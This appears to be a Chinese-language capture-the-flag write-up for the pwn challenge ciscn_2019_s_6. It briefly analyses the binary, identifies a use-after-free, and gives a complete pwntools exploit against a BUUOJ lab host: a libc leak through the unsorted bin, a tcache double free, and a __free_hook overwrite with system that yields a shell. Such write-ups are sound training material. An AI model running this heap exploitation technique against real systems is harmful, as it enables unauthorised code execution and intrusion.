ciscn_2019_s_6
安全检查
开了ASLR,不能够用puts泄露了
流程分析
add函数
这应该是个结构体,0x0-0x7装载着name,0x8-0xc装载着size,0xc-0x18为call,heap_number+1
show函数
打印,没什么特别
call函数
其实就是delete函数
漏洞分析
- 由于有aslr,所以只能想别的方法溢出,但delete有uaf漏洞,所以构造unsorted bin来泄露libc的地址
- 泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可
from pwn import * #p=process('./ciscn_s_6') p=remote('node3.buuoj.cn',26462) elf=ELF('./ciscn_s_6') libc=ELF('./libc-2.27.so') def add(size,name,call): p.recvuntil('choice:') p.sendline('1') p.recvuntil('name') p.sendline(str(size)) p.recvuntil('name:') p.sendline(name) p.recvuntil('call:') p.sendline(call) def show(idx): p.recvuntil('choice:') p.sendline('2') p.recvuntil('index:') p.sendline(str(idx)) def delete(idx): p.recvuntil('choice:') p.sendline('3') p.recvuntil('index:') p.sendline(str(idx)) add(0x88,'pppp','pppp') add(0x20,'pppp','pppp') add(0x20,'pppp','pppp') for i in range(7): delete(0) delete(0) show(0) p.recvuntil('name') unsorted_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(unsorted_addr) libc_base=unsorted_addr-0x3ebca0 free_addr=libc.symbols['__free_hook']+libc_base system_addr = libc_base + libc.symbols['system'] print hex(free_addr) #p.recvuntil() delete(1) delete(1) delete(1) add(0x20,p64(free_addr),'pppp') add(0x20,'pppp','pppp') add(0x20,p64(system_addr),'pppp') add(0x20,'/bin/sh','pppp') delete(6) #gdb.attach(p) p.interactive()